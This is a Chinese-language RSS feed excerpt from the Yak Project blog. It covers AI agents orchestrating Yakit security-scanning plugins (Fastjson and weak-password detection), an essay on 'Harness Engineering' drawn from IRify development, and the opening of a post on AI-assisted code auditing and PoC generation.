<li class=""><strong>显式能力名提及</strong></li>
</ul>
<p>从工程角度看，这使得能力召回同时具备：</p>
<ul>
<li class=""><strong>可解释性</strong>：因为每次命中都能追溯到插件名、描述或关键词；</li>
<li class=""><strong>鲁棒性</strong>：即使用户表达方式和插件名不完全一致，也能基于语义靠近；</li>
<li class=""><strong>可控性</strong>：命中结果最终还要经过真实标识符校验。</li>
</ul>
<p>因此，用户不需要记住插件名。</p>
<p>用户只要描述“我想检测 Fastjson”“帮我看看有没有弱口令”“分析一下这个系统可能的漏洞面”，系统就会尽量把这些自然语言映射到正确的能力集合上。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="案例一-漏洞检测">案例一:Fastjson 漏洞检测<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E6%A1%88%E4%BE%8B%E4%B8%80-%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B" class="hash-link" aria-label="案例一:Fastjson 漏洞检测的直接链接" title="案例一:Fastjson 漏洞检测的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="以-fastjson-漏洞检测为例这条链路大致会这样运作">以 Fastjson 漏洞检测为例，这条链路大致会这样运作：<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E4%BB%A5-fastjson-%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B%E4%B8%BA%E4%BE%8B%E8%BF%99%E6%9D%A1%E9%93%BE%E8%B7%AF%E5%A4%A7%E8%87%B4%E4%BC%9A%E8%BF%99%E6%A0%B7%E8%BF%90%E4%BD%9C" class="hash-link" aria-label="以 Fastjson 漏洞检测为例，这条链路大致会这样运作：的直接链接" title="以 Fastjson 漏洞检测为例，这条链路大致会这样运作：的直接链接" translate="no">​</a></h2>
<p>1.AI 从任务中抽取目标 URL；</p>
<p>2.识别当前任务属于漏洞验证 / Java 反序列化 / RCE 检测场景；</p>
<p>3.在能力集合中召回与 Fastjson 相关的插件；</p>
<p>4.将候选插件收敛为可执行能力；</p>
<p>5.调用对应插件发起检测；</p>
<p>6.基于响应与延迟特征做结果判断；</p>
<p>7.把验证结果写回上下文，作为后续决策依据。</p>
<p>这说明 AI 开始拥有的是<strong>任务级能力闭环</strong>，而不是一次性工具调用。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c05fd616aa11d1fd-5fd4abc05e041fd96534ad0d98468a2a.png" width="886" height="564" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e54834c4d01a01b0-3ce67912d32fd72c041ddfe806ef5db8.png" width="1080" height="367" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="案例二弱口令检测">案例二：弱口令检测<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E6%A1%88%E4%BE%8B%E4%BA%8C%E5%BC%B1%E5%8F%A3%E4%BB%A4%E6%A3%80%E6%B5%8B" class="hash-link" aria-label="案例二：弱口令检测的直接链接" title="案例二：弱口令检测的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="再看弱口令检测这个例子会更容易理解-skill-在其中的作用">再看弱口令检测这个例子，会更容易理解 Skill 在其中的作用。<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E5%86%8D%E7%9C%8B%E5%BC%B1%E5%8F%A3%E4%BB%A4%E6%A3%80%E6%B5%8B%E8%BF%99%E4%B8%AA%E4%BE%8B%E5%AD%90%E4%BC%9A%E6%9B%B4%E5%AE%B9%E6%98%93%E7%90%86%E8%A7%A3-skill-%E5%9C%A8%E5%85%B6%E4%B8%AD%E7%9A%84%E4%BD%9C%E7%94%A8" class="hash-link" aria-label="再看弱口令检测这个例子，会更容易理解 Skill 在其中的作用。的直接链接" title="再看弱口令检测这个例子，会更容易理解 Skill 在其中的作用。的直接链接" translate="no">​</a></h2>
<p>弱口令检测 Skill 本身并不一定直接执行扫描，它更像是给 AI 提供了一个特定任务框架：</p>
<ul>
<li class="">先识别目标系统类型；</li>
<li class="">再判断当前更适合哪类认证面检测；</li>
<li class="">最后调用对应插件执行验证。</li>
</ul>
<p>比如当目标特征更像 WebLogic 时，AI 就会把能力收敛到 WebLogic 弱口令检测插件，而不是泛化地随便跑一堆无关插件。</p>
<p>这说明 Skill 在这个体系里并不是简单的提示词包装，而更像是一层 <strong>任务约束与方法论注入层</strong>：</p>
<ul>
<li class="">它给 AI 提供领域上下文；</li>
<li class="">它约束 AI 的动作边界；</li>
<li class="">它降低错误能力召回的概率；</li>
<li class="">它让插件调用更贴近具体任务场景。</li>
</ul>
<p>如果说插件负责“执行”，</p>
<p>那么 Skill 更像负责“方法论”，</p>
<p>而 Agent 则负责“把方法论和执行能力串起来”。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/dd06433036cba1fc-ffc810c3aaf84b6c80740755f27e06f8.png" width="955" height="812" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/672a441c62bb1714-70bb63fb5ba90a9c3ddb37257e6c6c28.png" width="876" height="616" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5be572492cbfa823-7a1ae54a3f88b033eddf0617857c344f.png" width="917" height="543" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="一个很关键的变化从知道走向能做">一个很关键的变化:AI从“知道”走向“能做”<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E4%B8%80%E4%B8%AA%E5%BE%88%E5%85%B3%E9%94%AE%E7%9A%84%E5%8F%98%E5%8C%96%E4%BB%8E%E7%9F%A5%E9%81%93%E8%B5%B0%E5%90%91%E8%83%BD%E5%81%9A" class="hash-link" aria-label="一个很关键的变化:AI从“知道”走向“能做”的直接链接" title="一个很关键的变化:AI从“知道”走向“能做”的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="这次插件联动真正带来的变化是-ai-从知识型能力走向了操作型能力">这次插件联动真正带来的变化，是 AI 从“知识型能力”走向了“操作型能力”。<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%BF%99%E6%AC%A1%E6%8F%92%E4%BB%B6%E8%81%94%E5%8A%A8%E7%9C%9F%E6%AD%A3%E5%B8%A6%E6%9D%A5%E7%9A%84%E5%8F%98%E5%8C%96%E6%98%AF-ai-%E4%BB%8E%E7%9F%A5%E8%AF%86%E5%9E%8B%E8%83%BD%E5%8A%9B%E8%B5%B0%E5%90%91%E4%BA%86%E6%93%8D%E4%BD%9C%E5%9E%8B%E8%83%BD%E5%8A%9B" class="hash-link" aria-label="这次插件联动真正带来的变化，是 AI 从“知识型能力”走向了“操作型能力”。的直接链接" title="这次插件联动真正带来的变化，是 AI 从“知识型能力”走向了“操作型能力”。的直接链接" translate="no">​</a></h2>
<p>过去：</p>
<ul>
<li class="">AI 可以解释漏洞；</li>
<li class="">AI 可以给思路；</li>
<li class="">AI 可以生成检测建议；</li>
<li class="">但真正执行还是要人去点插件、选参数、看结果。</li>
</ul>
<p>现在：</p>
<ul>
<li class="">AI 能根据意图主动发现插件；</li>
<li class="">能结合 Skill 和 Blueprint 理解任务上下文；</li>
<li class="">能把插件作为执行单元纳入任务流程；</li>
<li class="">能在执行后做结果判断，并决定下一步动作。</li>
</ul>
<p>这意味着 Agent 的能力边界不再主要由模型本身决定，而是越来越多地由 <strong>可被编排的能力生态</strong>决定。</p>
<p>换句话说：</p>
<p>模型负责理解和决策，插件生态负责执行和扩展。</p>
<p>两者结合，才是真正可落地的安全自动化。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="这次插件商店联动的意义不只是让-ai-多了一个调用插件的入口而是把插件商店正式接入了-agent-的能力闭环">这次“插件商店联动”的意义，不只是让 AI 多了一个调用插件的入口，而是把插件商店正式接入了 Agent 的能力闭环：<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%BF%99%E6%AC%A1%E6%8F%92%E4%BB%B6%E5%95%86%E5%BA%97%E8%81%94%E5%8A%A8%E7%9A%84%E6%84%8F%E4%B9%89%E4%B8%8D%E5%8F%AA%E6%98%AF%E8%AE%A9-ai-%E5%A4%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E8%B0%83%E7%94%A8%E6%8F%92%E4%BB%B6%E7%9A%84%E5%85%A5%E5%8F%A3%E8%80%8C%E6%98%AF%E6%8A%8A%E6%8F%92%E4%BB%B6%E5%95%86%E5%BA%97%E6%AD%A3%E5%BC%8F%E6%8E%A5%E5%85%A5%E4%BA%86-agent-%E7%9A%84%E8%83%BD%E5%8A%9B%E9%97%AD%E7%8E%AF" class="hash-link" aria-label="这次“插件商店联动”的意义，不只是让 AI 多了一个调用插件的入口，而是把插件商店正式接入了 Agent 的能力闭环：的直接链接" title="这次“插件商店联动”的意义，不只是让 AI 多了一个调用插件的入口，而是把插件商店正式接入了 Agent 的能力闭环：的直接链接" translate="no">​</a></h2>
<ul>
<li class=""><strong>意图识别</strong></li>
<li class=""><strong>能力召回</strong></li>
<li class=""><strong>目录 Grounding</strong></li>
<li class=""><strong>标识符校验</strong></li>
<li class=""><strong>统一调度</strong></li>
<li class=""><strong>执行验证</strong></li>
<li class=""><strong>上下文回灌</strong></li>
</ul>
<p>从这个视角看，插件商店不再是一个静态资产库，而是 AI Agent 的外部能力池；</p>
<p>Skill 不再只是提示词，而是任务方法论；</p>
<p>Blueprint 不再只是模板，而是复杂任务编排器。</p>
<p>最终形成的，其实是一套面向安全场景的 <strong>Capability-Oriented</strong>AI<strong>Orchestration</strong>。</p>
<p>这也意味着，大家可以在现有 AI Agent 能力基础上，进一步发挥更多创意：</p>
<ul>
<li class="">自动化资产巡检</li>
<li class="">批量漏洞扫描</li>
<li class="">多目标弱口令验证</li>
<li class="">合规性检查</li>
<li class="">攻防演练中的任务编排</li>
<li class="">结合 Skill 的行业化安全工作流</li>
</ul>
<p>真正有想象力的地方，不在于“AI 能不能再多调一个插件”，</p>
<p>而在于：<strong>插件生态终于变成了</strong>AI<strong>可理解、可召回、可执行、可验证的能力生态。</strong></p>
<blockquote>
<p>插件联动带来的不是简单的“工具接入”，而是让 AI 从静态知识助手，进一步演化为具备意图识别、能力发现、执行编排与结果验证能力的安全 Agent。当插件商店成为 AI 的能力底座之后，安全自动化的上限，不再只取决于模型本身，而取决于整个插件生态能否被持续组织、持续复用、持续放大。</p>
</blockquote>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/LqmULDgzrSxRwq7OJ1roPA" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>AI</category>
            <category>漏洞检测与插件</category>
        </item>
        <item>
            <title><![CDATA[方法论：Harness Engineering 与 IRify 规模化研发实践]]></title>
            <link>https://yaklang.com/blog/harness-engineering-and-scaling-irify</link>
            <guid>https://yaklang.com/blog/harness-engineering-and-scaling-irify</guid>
            <pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文从 Harness Engineering 视角总结 IRify 规模化研发实践，讨论如何通过任务编排、工具链、反馈机制与工程约束提升 AI 辅助代码分析的稳定性。]]></description>
            <content:encoded><![CDATA[<p>2026年，大模型能力被普遍认为进入了高原期：单纯依靠算力堆积的暴力美学，其边际收益已经大幅降低，同时高质量的人类训练语料也趋近枯竭。面对这一瓶颈，业界的焦点开始发生转移：大家普遍认为，单纯比拼模型的时代正在远去，比拼Harness Engineering（驾驭工程）的时代已经到来。这就好比制造汽车时，将其发动机的马力已经压榨到物理极限了，再想提升整辆车的性能，就不能只盯着发动机，而要把目光投向传动系统、方向盘等驾驭发动机的系统上。</p>
<p>正是在这一背景下，Harness Engineering这个词开始频繁刷屏各大媒体，被包装成又一项了不起的前沿AI技术。然而，这种宏大的叙事却让人感到十分割裂：对于绝大多数不开发底层Agent的普通开发者而言，##Harness听起来更像是一个与己无关的伪概念。它除了徒增技术快速迭代带来的焦虑感，似乎并没有对日常的开发工作产生实质性影响。</p>
<p>如今的AI产业，正呈现出一种大厂主导前行、普通人带着焦虑被动跟随的局面。事实上，普通开发者每天赖以生存的 Claude Code、Codex 、Cursor 等优秀AI编程工具，正是Harness Engineering的最佳实践产物**。** 然而，在使用这些工具时，我们往往陷入了一种疲惫的循环：开发过程中每天花大量时间在聊天窗口里给AI提需求，看着AI一行行地写出新功能，然后自己再手动切回系统去查看和验收。在这种“AI写代码，人打下手”的模式中，我有时候不禁感慨：我应该为高效完成工作高兴，还是为这种低价值劳动奔波难过。</p>
<p>哭笑不得以后，我脑海里就有这么个疑问：<strong>同样是置身于Harness Engineering浪潮中，为什么行业大厂认为这是大模型能提供生产力的核心，而我们普通开发者，明明每天都在享受其最佳实践、生产效率大幅度提升，自我价值却在一轮轮</strong>AI<strong>对话中不断降低</strong>？</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="人类注意力的稀缺">人类注意力的稀缺<a href="https://yaklang.com/blog/harness-engineering-and-scaling-irify#%E4%BA%BA%E7%B1%BB%E6%B3%A8%E6%84%8F%E5%8A%9B%E7%9A%84%E7%A8%80%E7%BC%BA" class="hash-link" aria-label="人类注意力的稀缺的直接链接" title="人类注意力的稀缺的直接链接" translate="no">​</a></h2>
<p>我认为要回答这个问题，我们或许可以回到OpenAI最早发布关于Harness Engineering原文中，探究##Harness最开始出现要解决什么问题。原文中，有大量篇幅讲解其工程实践细节：设计环境、反馈回路和控制系统，但是是我认为其最核心的，也是文章作者开头就点出的一点：<strong>为了解决人类的时间与精力是稀缺的问题</strong>。</p>
<p>原文中谈到，OpenAI 内部有个百万级项目需要让##AI参与开发，并在几周内进行交付。按照传统AI协作开发模式，Agent产生PR，而人则作为质量的把关者，将会面临一个极大的问题：AI产生代码的速度远远快于人们验证代码的速度。人这一环成为开发流程的瓶颈。而更要命的是，如果AI实现的某项功能不符合要求，你就不得不对其进行对话、等待其修复、再次验证其实现效果。如果AI不能一次就修复好这个问题，人就不得不陷入这种循环中，并在这种循环中把精力消耗得筋疲力尽。这种开发流程就像一个大漏斗，而人类这一环却成了最窄的那个口。为了解决这个最窄的口，OpenAI不断优化大模型的执行环境，并把这个过程叫做Harness Engineering。</p>
<p>所以不难发现**，Harness思维解决的核心痛点，不仅是<strong>AI</strong>持续工作的稳定性，更是人在AI时代的“注意力稀缺”**。回顾编程的演进路径，你会发现人类焦点的变迁。在前AI时代，人类将100%的注意力完全倾注在写代码和实现功能上。而到AI辅助写代码时代（IDE插件)，AI成为代码补全的工具，但人类的注意力依然被绑死在具体的实现步骤上。如今进入了Agent自主编程时代，模型具备了自主执行能力。此时，如果人类依然保持旧习惯，就会陷入极其消耗注意力的死循环：AI在聊天窗口执行任务，人手动切到系统里点击、编译、测试验收。</p>
<p>要打破这种极度消耗注意力的死循环，就必须保证AI自主可靠的运行，并减少人这一环的参与。而为AI构建高度可观测、可自动验证的执行环境，仅仅是具体的工程步骤。笔者认为Harness更本质的是<strong>提醒我们应该“反思并管理注意力”</strong>。具体的改造手段并不重要，重要的是你必须在自己的日常开发中，敏锐地识别出：到底是什么“阻塞点”在无情地占据和消耗你最多的注意力时间？一旦找到了这个阻塞点，你就要主动出击，为它立下规矩、建好环境，把这部分验证工作甩给AI。这，才是属于每一个普通开发者的Harness。</p>
<p>对于如何“主动管理注意力”，我在近期推进IRify规模化时有着切身体会。在这个项目中，我经历了一次从“越用AI越累”到“为其建立Harness工作流”的真实转变。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="irify研发的-harness实践">IRify研发的 Harness实践<a href="https://yaklang.com/blog/harness-engineering-and-scaling-irify#irify%E7%A0%94%E5%8F%91%E7%9A%84-harness%E5%AE%9E%E8%B7%B5" class="hash-link" aria-label="IRify研发的 Harness实践的直接链接" title="IRify研发的 Harness实践的直接链接" translate="no">​</a></h2>
<p>这几个月，我的任务是将IRify从客户端代码扫描升级为分布式扫描。这不仅涉及复杂的并发方案和状态流转，还包含大量SaaS系统业务功能的脏活累活(Dirty Work)。为了抢进度，我开了多个AI Agent终端并行开发。AI写代码确实快，但麻烦也随之而来：代码冲突频发；而且作为带有前端交互的SaaS系统，很难单纯靠单元测试保障功能可用。结果就是，AI每吐一个功能，我就得手动启动页面、登录、点击、查错。缺乏规矩的AI跑得越快，我作为人肉测试员的注意力就被消耗得越严重。</p>
<p>为了改变这种被动局面，我开始尝试为AI构建Harness执行环境。首先，我给AI全局提示词加了约束：强制它使用独立的 <code>worktree</code> 进行开发，从物理上隔离代码冲突；其次，要求AI每次实现一个功能以后必须有测试落地，对于比较难测的功能点可以编写E2E测试脚本，甚至进行日志插桩进行测试；最后，为了方便前端功能的验收，我让他加了个Chrome DevTool，以便完成任务后可以进行前端功能截图。</p>
<p>如果你读过OpenAI的原文，或许会发现这些举措极为眼熟。没错，我其实就是把Harness的原文直接喂给了AI，让它参照这套最佳实践来进行自我改造。回顾这个过程我发现，普通人实践Harness并没有多么高深，它的本质就是“<strong>有意识地让AI的运行环境变得更好、阻力更小</strong>”。我所做的，只不过是主动把业界的最佳实践投喂给它，顺水推舟地让AI自己去蹚平道路，改造出它专属的执行环境而已。这一番改造后，我终于可以一次性下发大量任务：AI写完代码会自动验证，发现错误就回炉重造，而我只需安稳地留在“最终验收”的环节。</p>
<p>然而，随着AI自动跑通的流程越来越多，我发现了影响我注意力的一个新阻塞点：验收的时候需要花费大量时间查看AI的总结文本与截图。由于运行在终端的AI无法直接展示图片，每天面对它扔过来的一大堆零散文本和截图路径，我必须手动挨个去文件夹里点击查看。特别是在多任务并行时，光是“把截图和任务对上号”就要耗费我极大的脑力。为了彻底回收我的注意力，我意识到：Harness不仅要让AI自动干活，还要让它以“认知负荷最低”的方式来汇报。于是，我扣动了最后一块Harness拼图：强制AI在每次完成任务后，将所有验证结果和截图严格按照“报纸排版”的格式输出。因为报纸的图文混排，是数百年来沉淀下的、最契合人类视觉检索和吸收信息的媒介。如今，我只需像读晨报一样扫一眼这些图文并茂的总结，就能一键验收所有的功能，俗称“赛博看报”~</p>
<blockquote>
<p>“当前做到了哪一步、哪里没读，</p>
<p>IRify 将 completed 的完整主题路径”</p>
</blockquote>
<p>“赛博看报”示意图</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/2afafdc8c84d4eff-76cdc1b1be4f7fbc23e09e82d1217385.png" width="1080" height="536" class="yakdoc-image"></button></p>
<p>AI自动截图示意图</p>
<p>事实上，有意识地为AI扫清运行阻力，我们可以借助很多工具。你可以编写 Python 或 Shell 脚本让AI固定执行某项操作，也可以固化提示词让它精准理解任务意图。当“脚本”与“提示词”相结合，就产生了一个这两年极火的概念：Skills 。我们会去寻找热门好用的Skills，给我们Agent插上翅膀。但笔者认为，真正的Harness思维要求我们：<strong>不要只做Skills的消费者，而要主动在复杂的业务中“沉淀”出自己的专属Skills。</strong></p>
<p>这种“沉淀”在处理长链条复杂任务时，能爆发出惊人的威力。以笔者近期对IRify做BenchMark（基准测试）验证为例：我需要让AI扫描具体项目、找出漏报误报、修复规则，最后再补充测试将内容固化下来。如果在传统的AI对话模式下，这个过程存在三大“注意力黑洞”：一是任务链条极长，需要反复横跳；二是AI不懂特定的规则语法（SyntaxFlow），每次都要花大量时间参考旧规则；三是项目内测试套件繁多，AI经常像无头苍蝇一样找不到添加测试的正确位置。如果按照以前对话式让AI执行任务，AI效率低不说，如果出错我还得继续对话提醒它，会把我折磨得够呛。但现在，当我耐着性子，在一次对话中把这套包含环境配置、背景知识和执行逻辑的工作流彻底跑通后，我直接将它“沉淀”为了专属Skill。后续面对同样的需求，我只需一键触发，AI就能在最小阻力下自动执行，彻底免去了反复对话和调教的煎熬。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c2f56c97df274a08-290102b08d1e84270cb5bb76d69d6108.png" width="1005" height="179" class="yakdoc-image"></button></p>
<p>IRify业务沉淀的Skill</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="一种工作哲学">一种工作哲学<a href="https://yaklang.com/blog/harness-engineering-and-scaling-irify#%E4%B8%80%E7%A7%8D%E5%B7%A5%E4%BD%9C%E5%93%B2%E5%AD%A6" class="hash-link" aria-label="一种工作哲学的直接链接" title="一种工作哲学的直接链接" translate="no">​</a></h2>
<p>经历了这些实战，我越发确信：<strong>Harness 绝不仅仅是几行脚本或几组提示词，它本质上是一种工程思想，更是一种工作哲学/方法论。</strong> 其实更进一步讲，这也不是新的东西，不过是<strong>新瓶装旧酒</strong>，其核心就是DevOps、流程工程、自动化这些工程思维，只是因为AI语境加持下像新的革命。但是也应该承认，它确实提醒我们应该转变工作思维。诚然，业界已经有了 Claude Code 这样优秀的最佳实践产品，但它们绝不是一招打遍天下的“万能解药”。在千差万别、充满各种“脏活累活”的真实日常项目中，没有哪个现成的工具能完美契合所有人的工作流。这就要求我们每一个普通开发者，必须在日常工作中时刻保持这种 Harness 意识。</p>
<p>笔者认为日常开发中可以从两方面使用这种工作哲学**。对于我们自己，要敏锐地识别出自己宝贵的“注意力”到底流失在了哪里，主动把它们抢夺回来；对于<strong>AI</strong>，我们则要转换身份，作为“辅助者”去观察它在执行任务时的“阻塞点”在哪里，并主动为它修桥铺路、优化运行环境。**</p>
<p>当然仅仅从“##Agent使用者”这个角度要有Harness工作哲学，我认为“##Agent开发”更需要这种哲学。 我时常听到做Agent开发的朋友，认为他们自己在造的是和Claude Code、Codex一样的轮子。但是我认为他们更像是把各种轮子组装起来，以适合具体行业的垂直业务。世上并不存在能完美适配所有场景的“##通用Agent”，有时候我们认为某些Agent如此强大，是因为大模型本身能力强占据很大一部分功劳。但是当模型能力发展达到一定瓶颈，识别模型在具体场景运行的阻塞点，并将其运行环境改造，我认为还是十分有价值的。</p>
<p>最近发布的新产品Memfit，我觉得就能够很好地阐述这种哲学。Memfit是为网络安全领域设计的Agent，它能够胜任渗透测试等非确定任务。与需求明确的编程任务不同，渗透测试是高度“发散”和非确定性的：AI只能边收集信息边摸索测试路径，且随时会被新发现的情报改变走向。这种不确定性，注定了 MemFit 无法照搬 Claude Code 的设计哲学。以最核心的“Plan（规划）模式”为例：常规编程Agent会严格、刻板地执行既定Plan；而 Memfit 的Plan则是实时“生长”的——它会根据执行中收集到的新信息，动态修正和重写后续的测试计划。</p>
<p>不迷信通用的刻板流程，为不确定性定制能自我纠偏的运行环境，我认为这才是Harness。无论是面对 IRify 这样需求明确的常规开发，还是 Memfit 这种充满未知的渗透测试，Harness 的内核其实从未改变。它要求我们跳出“被动执行”的框架，去洞察具体业务场景下的真实阻力，进而为 AI 量身定制最合适的运行规则。<strong>真正实用的生产力，并不单纯依赖一个万能的大模型，而是依赖契合具体业务的Harness 执行环境。</strong></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/harness-engineering-and-scaling-irify#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>我深感这两年##AI发展对编程方式变化非常大。回想两年前，还需要整日整日看底层SSA的代码，不断调整某个具体函数怎么写；一年前则是不断与Cursor对话，去完善具体某个功能的细节；而现在，则需要去构建属于你自己的自动化执行环境，告诉它要去哪里，然后让它自己找路。当我们不再被动地当一个疲于奔命的“代码审查机”，而是亲手为 AI 扫清障碍时，我们便蜕变成了真正驾驭复杂系统的主人。到那时，那种久违的、自我价值实现的快乐，才算真正回到了我们手中。</p>
<blockquote>
<p>参考文献：<strong>OpenAI</strong>. (2026). <em>工程技术：在智能体优先的世界中利用 Codex</em> (Harness Engineering). 检索自: <a href="https://openai.com/index/harness-engineering/" target="_blank" rel="noopener noreferrer" class="">https://openai.com/index/harness-engineering/</a>** 汤道生**. (2026). <em>人工智能正式进入 Harness 时代</em>. 腾讯云与智慧产业事业群.<strong>黄佳</strong>. (2026). <em>从GoF到Agent，设计模式30年演进与Harness革命</em>.<strong>V1ll4n</strong>. (2026). <em>Memfit<strong>AI</strong>: 连续<strong>渗透测试</strong>N小时不迷路的生产级AI Agent</em>. Yak Project.<strong>The Architect of</strong>Connectivity**: A Comprehensive Technical Analysis of Modern Harness Engineering**. (2026).<strong>Datawhale</strong>.(2026).最新！万字综述Harness革命！</p>
</blockquote>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/44keOZ3z4cswcosjtFEWGQ" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
        </item>
        <item>
            <title><![CDATA[代码审计：IRify 的 AI 化扩展与 PoC 自动生成]]></title>
            <link>https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation</link>
            <guid>https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation</guid>
            <pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文介绍 IRify 的 AI 代码审计扩展，包括项目探索、分类审计、证据验证、报告生成、风险驱动 PoC 示例以及 SyntaxFlow 规则生成与优化。]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="内容速览">内容速览<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E5%86%85%E5%AE%B9%E9%80%9F%E8%A7%88" class="hash-link" aria-label="内容速览的直接链接" title="内容速览的直接链接" translate="no">​</a></h2>
<ul>
<li class=""><strong>适用场景：</strong> 需要对大型项目进行分阶段代码审计、漏洞证据整理和 SyntaxFlow 规则辅助生成的安全团队。</li>
<li class=""><strong>实现方法：</strong> 先探索项目并制定扫描计划，再按类别审计、逐条验证证据、生成报告，并依据风险生成 PoC 示例或规则建议。</li>
<li class=""><strong>关键结论：</strong> AI 的价值在于把探索、验证和报告组织成可追踪流程；高风险结论和 PoC 仍需要在隔离、授权环境中复核。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="常见问题">常见问题<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98" class="hash-link" aria-label="常见问题的直接链接" title="常见问题的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="ai-审计是否会直接跳到漏洞结论">AI 审计是否会直接跳到漏洞结论？<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#ai-%E5%AE%A1%E8%AE%A1%E6%98%AF%E5%90%A6%E4%BC%9A%E7%9B%B4%E6%8E%A5%E8%B7%B3%E5%88%B0%E6%BC%8F%E6%B4%9E%E7%BB%93%E8%AE%BA" class="hash-link" aria-label="AI 审计是否会直接跳到漏洞结论？的直接链接" title="AI 审计是否会直接跳到漏洞结论？的直接链接" translate="no">​</a></h3>
<p>不会。文中的流程把项目探索、扫描计划、分类审计、证据记录和报告生成拆成独立阶段，要求结论能够回到具体证据。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="自动生成的-poc-可以直接用于生产目标吗">自动生成的 PoC 可以直接用于生产目标吗？<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90%E7%9A%84-poc-%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5%E7%94%A8%E4%BA%8E%E7%94%9F%E4%BA%A7%E7%9B%AE%E6%A0%87%E5%90%97" class="hash-link" aria-label="自动生成的 PoC 可以直接用于生产目标吗？的直接链接" title="自动生成的 PoC 可以直接用于生产目标吗？的直接链接" translate="no">​</a></h3>
<p>不可以。PoC 用于授权范围内的风险复现和验证，应在隔离环境中审阅输入、影响和执行边界。</p>
<blockquote>
<p>随着 Memfit AI 新功能的扩展和相关机制的完善，我们已经可以将现有的 AI 功能扩展到我们的其他产品中，本文主要介绍目前我们在 IRify 工具的 AI 化扩展中做出的新尝试。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="纯ai代码审计">纯AI代码审计<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E7%BA%AFai%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1" class="hash-link" aria-label="纯AI代码审计的直接链接" title="纯AI代码审计的直接链接" translate="no">​</a></h2>
<p>在 Yaklang 的AI ReAct体系里，“代码安全审计”被注册为一个独立的循环类型。用户触发后，运行时会先构造一份贯穿全程的审计状态对象，并把 AI 工作目录记下来，所有阶段性产物都收敛到该目录下的审计子目录里，避免和别的任务混杂</p>
